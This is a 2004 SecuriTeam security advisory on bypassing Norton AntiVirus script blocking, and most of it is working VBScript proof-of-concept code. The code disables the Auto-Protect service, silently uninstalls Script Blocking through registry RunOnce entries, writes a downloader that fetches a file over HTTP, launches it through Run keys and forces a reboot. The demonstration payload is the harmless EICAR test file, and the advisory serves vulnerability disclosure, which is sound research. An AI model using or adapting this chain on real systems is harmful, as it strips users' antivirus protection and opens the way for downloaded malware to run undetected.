

[NT] Norton Anti-Virus VB Scripting Vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-11/0055.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 11/17/04

To: list@securiteam.com

Date: 17 Nov 2004 16:05:46 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Norton Anti-Virus VB Scripting Vulnerability

SUMMARY

Presented here is a method to bypass Norton Anti-Virus Script Blocking, and launch malicious contents undetected by the Anti-Virus.

DETAILS

The VB script presented below will run even with Norton AntiVirus Script Blocking enabled by using WMI. The script will then disable the Auto-Protect Service and will disable Script Blocking, allowing malicious content to run undetected.

In a nutshell, here's what the proof of concept does:

On Reboot it sets:

- 1) The NAV Auto-Protect Service to DISABLED
- 2) A registry key to Uninstall Script Blocking
- 3) Creates, launches a VBScript file to d/l the EICAR AV 'test' virus
- 4) Launches the EICAR.COM test pattern a few seconds later

Note: This exploit works only if the user is logged in with Administrative privileges.

A flash movie demonstrating the proof of concept can be found at:

<<http://wired.s6n.com/files/jathias/navdemo.html>>

Securiteam: [NT] Norton Anti-Virus VB Scripting Vulnerability

<http://wired.s6n.com/files/jathias/navdemo.html>

You'll see that Script Blocking gets uninstalled. As well, notice that Auto-Protect doesn't kick in until you click on the tray icon and launch the NAV console. By then, the 'Virus' had already launched quite some time before, as you can see in the cmd.exe window.

Proof of Concept Code:

The following code was tested under WinXP and a fully LiveUpdated NAV 2005 using a broadband Internet connection. Should be fine for Win2000 and NAV 2004 as well.

```
' ----- DISABLE NORTON AUTO-PROTECT SERVICE WITH WMI -----
```

```
sServer = "."
Set oWMI = GetObject("winmgmts://.")

sServiceName = "Norton AntiVirus Auto-Protect Service"
sWQL = "Select state from Win32_Service " _
      & "Where displayname='" & sServiceName & "'"
Set oResults = oWMI.ExecQuery(sWQL)
For Each oService In oResults
    oService.StopService
    oService.ChangeStartMode("Disabled")
Next
```

```
' ----- UNINSTALL SCRIPT BLOCKING WITH WMI ;) -----
```

```
const HKEY_LOCAL_MACHINE = &H80000002

strComputer = "."

Set objRegistry =
GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv")
strKeyPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
strValueName = "Uninstall Norton Script Blocking"
arrStringValue = ("MSIEXEC /x {D327AFC9-7BAA-473A-8319-6EB7A0D40138} /Q")
objRegistry.SetStringValue HKEY_LOCAL_MACHINE, strKeyPath, strValueName,
arrStringValue
```

```
' ----- CREATE VBS FILE TO GRAB THE EICAR AV-REFERENCE FILE -----
```

```
Set objRegistry =
GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv")
strKeyPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
strValueName = "Create Code Downloader"
arrStringValue = ("cmd /c ECHO Set
X=createobject("+chr(34)+"Microsoft.XMLHTTP"+chr(34)+"):X.open
"+chr(34)+"GET"+chr(34)+","+(chr(34)+"http://www.eicar.org/download/eicar.com" +chr(34)+"),False:X.send:set
Y=createobject("+chr(34)+"adodb.stream"+chr(34)+"):Y.type=1:Y.open:Y.write
X.responseBody:Y.savetofile("+chr(34)+"eicar.com"+chr(34)+"),2:Y.close >
estart.VBS")
```

Securiteam: [NT] Norton Anti-Virus VB Scripting Vulnerability

```
objRegistry.SetStringValue HKEY_LOCAL_MACHINE, strKeyPath, strValueName,  
arrStringValue
```

```
' ----- CREATE VBS FILE THAT TRIGGERS CODE LAUNCH -----
```

```
Set objRegistry =  
GetObject("winmgmts:{impersonationLevel=impersonate}!\.\root\default:StdRegProv")  
strKeyPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"  
strValueName = "Create Code Launcher"  
arrStringValue = ("cmd /c ECHO wscript.sleep(10000):Set  
Z=CreateObject("+chr(34)+"WScript.Shell"+chr(34)+"):Z.run("+chr(34)+"cmd  
/k eicar.com"+chr(34)+") > elaunch.vbs")  
objRegistry.SetStringValue HKEY_LOCAL_MACHINE, strKeyPath, strValueName,  
arrStringValue
```

```
' ----- LAUNCH EICAR DOWNLOADER -----
```

```
Set objRegistry =  
GetObject("winmgmts:{impersonationLevel=impersonate}!\.\root\default:StdRegProv")  
strKeyPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"  
strValueName = "Execute Code DownLoader"  
arrStringValue = ("estart.vbs")  
objRegistry.SetStringValue HKEY_LOCAL_MACHINE, strKeyPath, strValueName,  
arrStringValue
```

```
' ----- RUN THE 'VIRUS' -----
```

```
Set objRegistry =  
GetObject("winmgmts:{impersonationLevel=impersonate}!\.\root\default:StdRegProv")  
strKeyPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"  
strValueName = "Execute Malicious Code Launcher"  
arrStringValue = ("elaunch.vbs")  
objRegistry.SetStringValue HKEY_LOCAL_MACHINE, strKeyPath, strValueName,  
arrStringValue
```

```
' ----- USE WMI TO FORCE A REBOOT --- NEXT LOGIN, PWN3D -----
```

```
Set wmi = GetObject("winmgmts:{(Shutdown)}")  
set objset = wmi.instancesof("win32_operatingsystem")  
for each obj in objset  
set os = obj : exit for  
next  
os.win32shutdown 2 + 4
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:dmilisic@myrealbox.com>>
Daniel Milisic.

```
=====
```

Securiteam: [NT] Norton Anti-Virus VB Scripting Vulnerability

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.